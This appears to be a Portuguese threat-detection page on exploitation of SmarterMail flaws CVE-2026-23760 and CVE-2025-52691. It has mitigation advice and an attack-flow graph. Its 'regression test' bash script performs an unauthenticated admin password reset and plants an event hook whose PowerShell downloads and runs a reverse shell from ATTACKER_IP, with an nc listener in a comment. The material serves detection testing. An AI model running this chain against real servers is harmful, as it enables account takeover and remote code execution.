DE&TH para Vulnerabilidades: Huntress Detecta Sequestro de Conta SmarterMail Levando a RCE
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
A Huntress observou o abuso em ambiente real de duas falhas do SmarterMail que permitem a tomada de contas privilegiadas e, em última instância, execução remota de código. Os atacantes iniciam fluxos de redefinição de senha sem autenticação para obter um token privilegiado, em seguida abusam dos “eventos do sistema” do SmarterMail para executar comandos de reconhecimento do host. A atividade impactou vários clientes e mostrou sinais de exploração ampla e automatizada em larga escala.
Investigação
Analistas da Huntress reconstruíram uma sequência consistente de solicitações HTTP POST contra endpoints da API SmarterMail usadas para acionar redefinições de senha, autenticar, configurar eventos do sistema, adicionar domínios controlados por atacantes e, posteriormente, remover vestígios. A cadeia visa o CVE-2026-23760 (tomada de conta privilegiada) e o CVE-2025-52691 (upload arbitrário de arquivo). As solicitações comumente usavam o user-agent python-requests/2.32.4, e os operadores deixaram para trás arquivos result.txt contendo saída de reconhecimento de comandos executados.
Mitigação
Atualize o SmarterMail para a versão 9511 ou mais recente para corrigir ambos os CVEs. Revise e restrinja a exposição da API, desative ou restrinja eventos do sistema desnecessários e monitore atividades anômalas da API que alterem contas, eventos ou domínios. Identifique e remova quaisquer domínios e eventos do sistema criados por atacantes para eliminar a persistência.
Resposta
Procure pelo padrão suspeito de chamada de API e pelo user-agent python-requests/2.32.4, bloqueie IPs de origem ofensivos e exclua eventos maliciosos do sistema. Rode imediatamente as credenciais privilegiadas. Realize a análise forense do endpoint para localizar o result.txt e validar se cargas adicionais foram preparadas. Notifique usuários/clientes impactados e forneça orientações claras de remediação.
graph TB %% Class Definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef data fill:#e6e6e6 %% Nodes action_exploit_cred[“<b>Ação</b> – <b>T1212 Exploração para Acesso a Credenciais</b><br/>O atacante explora a CVE-2026-23760 via POST /api/v1/auth/force-reset-password para redefinir uma senha privilegiada.”] class action_exploit_cred action action_authenticate[“<b>Ação</b> – <b>T1078 Contas Válidas</b> & <b>T1134.003 Manipulação de Token de Acesso</b><br/>Usando as novas credenciais, POST /api/v1/auth/authenticate-user obtém um token de acesso.”] class action_authenticate action tool_requests[“<b>Ferramenta</b> – <b>Nome</b>: python-requests 2.32.4<br/><b>Propósito</b>: Cliente HTTP usado para chamadas de API”] class tool_requests tool data_token[“<b>Dados</b> – Token de Acesso<br/>Armazenado para interações subsequentes com a API”] class data_token data action_config_event[“<b>Ação</b> – <b>T1569 Serviços do Sistema</b> & <b>T1574 Sequestro do Fluxo de Execução</b><br/>POST /api/v1/settings/sysadmin/event-hook cria um evento de sistema malicioso.”] class action_config_event action action_add_domain[“<b>Ação</b> – <b>T1204 Execução do Usuário</b><br/>POST /api/v1/settings/sysadmin/domain-put adiciona um domínio que aciona o evento e executa comandos de reconhecimento.”] class action_add_domain action data_result[“<b>Dados</b> – result.txt<br/>Arquivo criado em C:\\Program Files (x86)\\SmarterTools\\SmarterMail\\Service\\wwwroot\\result.txt”] class data_result data action_cleanup[“<b>Ação</b> – Etapas de limpeza<br/>POST /api/v1/settings/sysadmin/domain-delete e event-hook-delete para remover artefatos.”] class action_cleanup action action_remove_logs[“<b>Ação</b> – <b>T1070.001 Limpeza de Logs de Eventos do Windows</b>”] class action_remove_logs action action_file_deletion[“<b>Ação</b> – <b>T1070.004 Exclusão de Arquivos</b><br/>Remove result.txt e arquivos relacionados.”] class action_file_deletion action action_clear_persistence[“<b>Ação</b> – <b>T1070.009 Limpeza de Persistência</b>”] class action_clear_persistence action %% Connections action_exploit_cred –>|usa| tool_requests action_exploit_cred –>|leva_a| action_authenticate action_authenticate –>|produz| data_token data_token –>|usado_por| action_config_event action_config_event –>|cria| action_add_domain action_add_domain –>|grava| data_result action_add_domain –>|aciona| action_cleanup action_cleanup –>|inclui| action_remove_logs action_cleanup –>|inclui| action_file_deletion action_cleanup –>|inclui| action_clear_persistence
Fluxo de Ataque
Detecções
Possível tentativa de exploração de CVE-2026-23760 (SmarterMail) (via servidor web)
Visualizar
IOCs (DestinationIP) para detectar: DE&TH para Vulnerabilidades: Huntress detecta tomada de conta SmarterMail levando a RCE Parte 2
Visualizar
IOCs (DestinationIP) para detectar: DE&TH para Vulnerabilidades: Huntress detecta tomada de conta SmarterMail levando a RCE Parte 1
Visualizar
IOCs (SourceIP) para detectar: DE&TH para Vulnerabilidades: Huntress detecta tomada de conta SmarterMail levando a RCE Parte 1
Visualizar
IOCs (SourceIP) para detectar: DE&TH para Vulnerabilidades: Huntress detecta tomada de conta SmarterMail levando a RCE Parte 2
Visualizar
Tomada de conta SmarterMail levando a RCE [Servidor Web]
Visualizar
Execução de Simulação
Pré-requisito: O Verificação Prévia de Telemetria e Base deve ter passado.
Narrativa e Comandos do Ataque
- Reconhecimento: O atacante descobre que a instância do SmarterMail está executando uma versão vulnerável ao CVE‑2026‑23760.
- Forçar Redefinição de Senha (T1098): Usando a não autenticada
forçar-redefinição-de-senhaendpoint para definir uma senha conhecida para oadminconta privilegiada. - Autenticar (T1078): Faça login com as credenciais recém-definidas através do
autenticar-usuárioendpoint, obtendo um token de sessão. - Implantar Hook de Evento Malicioso (T1569): POST um payload JSON elaborado para
event-hookque aponta para um shell reverso PowerShell hospedado no servidor do atacante. - Acionar Execução: O event-hook é executado automaticamente no servidor web, criando um shell reverso para o atacante.
- Limpeza: Remova o hook malicioso através do
event-hook-deleteendpoint (excluído da detecção).
Todos os passos geram eventos HTTP POST que correspondem aos critérios de seleção da regra Sigma. critérios de seleção .
Script de Teste de Regressão
#!/usr/bin/env bash
# -------------------------------------------------
# Simulação de Tomada de Conta SmarterMail & RCE
# -------------------------------------------------
SM_URL="https://smartermail.example.com"
ADMIN_USER="admin"
NEW_PASS="PwnedPass!2026"
ATTACKER_IP="10.10.14.5"
ATTACKER_PORT="4444"
# 1. Forçar redefinição de senha (não autenticada)
curl -k -s -X POST "${SM_URL}/api/v1/auth/force-reset-password"
-H "Content-Type: application/json"
-d "{"username":"${ADMIN_USER}","newPassword":"${NEW_PASS}"}"
# 2. Autenticar e capturar token de sessão
TOKEN=$(curl -k -s -X POST "${SM_URL}/api/v1/auth/authenticate-user"
-H "Content-Type: application/json"
-d "{"username":"${ADMIN_USER}","password":"${NEW_PASS}"}"
| jq -r '.sessionToken')
# 3. Implantar event-hook malicioso (RCE)
PAYLOAD=$(cat <<EOF
{
"event":"mail-received",
"command":"powershell -NoP -W Hidden -Exec Bypass -Command "Invoke-WebRequest http://${ATTACKER_IP}:${ATTACKER_PORT}/shell.ps1 -OutFile $env:TEMPshell.ps1; powershell -ExecutionPolicy Bypass -File $env:TEMPshell.ps1""
}
EOF
)
curl -k -s -X POST "${SM_URL}/api/v1/settings/sysadmin/event-hook"
-H "Content-Type: application/json"
-H "Authorization: Bearer ${TOKEN}"
-d "${PAYLOAD}"
echo "[+] event-hook malicioso implantado. Aguardando shell reverso..."
# 4. (Opcional) Aguardar shell reverso – atacante executa ouvinte separadamente:
# nc -lvnp ${ATTACKER_PORT}
# 5. Limpeza – remova o hook (excluído da detecção)
curl -k -s -X POST "${SM_URL}/api/v1/settings/sysadmin/event-hook-delete"
-H "Authorization: Bearer ${TOKEN}"
Comandos de Limpeza
#!/usr/bin/env bash
# Remover quaisquer hooks maliciosos residuais e redefinir a senha do administrador
SM_URL="https://smartermail.example.com"
ADMIN_USER="admin"
SAFE_PASS="OriginalStrong!Pass"
# Autenticar com a senha segura (se conhecida) ou usar o token anterior
TOKEN=$(curl -k -s -X POST "${SM_URL}/api/v1/auth/authenticate-user"
-H "Content-Type: application/json"
-d "{"username":"${ADMIN_USER}","password":"PwnedPass!2026"}"
| jq -r '.sessionToken')
# Excluir o event-hook malicioso (se ainda estiver presente)
curl -k -s -X POST "${SM_URL}/api/v1/settings/sysadmin/event-hook-delete"
-H "Authorization: Bearer ${TOKEN}"
# Redefinir a senha do administrador para um valor conhecido
curl -k -s -X POST "${SM_URL}/api/v1/auth/force-reset-password"
-H "Content-Type: application/json"
-d "{"username":"${ADMIN_USER}","newPassword":"${SAFE_PASS}"}"